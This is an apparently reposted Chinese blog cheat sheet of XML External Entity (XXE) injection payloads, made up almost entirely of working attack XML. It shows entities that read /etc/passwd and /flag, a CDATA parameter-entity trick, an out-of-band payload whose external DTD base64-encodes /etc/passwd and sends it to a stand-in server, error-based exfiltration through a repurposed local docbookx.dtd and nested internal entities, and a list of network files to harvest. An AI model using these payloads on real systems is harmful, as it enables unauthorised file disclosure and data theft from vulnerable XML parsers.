XXE 总结笔记

admin 2023年12月15日21:04:56评论10 views字数 1524阅读5分4秒阅读模式

记录一下常用 xxe payload

想到啥写啥, 只是一个备忘录

SYSTEM

<!ENTITY xxs SYSTEM "file:///etc/passwd" >

PUBLIC

<!ENTITY % remote PUBLIC "dtd" "http://127.0.0.1/evil.dtd">

通用实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<test>
&file;
</test>

参数实体 (利用 CDATA)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil.dtd">
%dtd;]>
<test>
&all;
</test>

evil.dtd

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY all "%start;%xxe;%end;" >

payload

<!DOCTYPE test [
<!ENTITY % remote SYSTEM "http://127.0.0.1/evil.dtd">
%remote;%int;%send;
]>

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://127.0.0.1/?p=%file;'>">

引用本地 dtd

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ELEMENT message ANY>
    <!ENTITY % local SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % ISOamso '
        <!ENTITY % eval "
            <!ENTITY &#x25; error SYSTEM '%file;'>
        ">
        %eval;
    '>
    %local;
]>
<root>
<message>123</message>
</root>

多层内部实体嵌套绕过, 无需引用 dtd

<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ELEMENT message ANY>
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % eval1 '
        <!ENTITY % eval2 "
            <!ENTITY &#x25; error SYSTEM '%file;'>
        ">
        %eval2;
    '>
    %eval1;
]>
<root>
<message>123</message>
</root>
/etc/network/interfaces
/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

- By:X1r0z[exp10it.cn]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日21:04:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE 总结笔记http://cn-sec.com/archives/2306095.html

发表评论

匿名网友 填写信息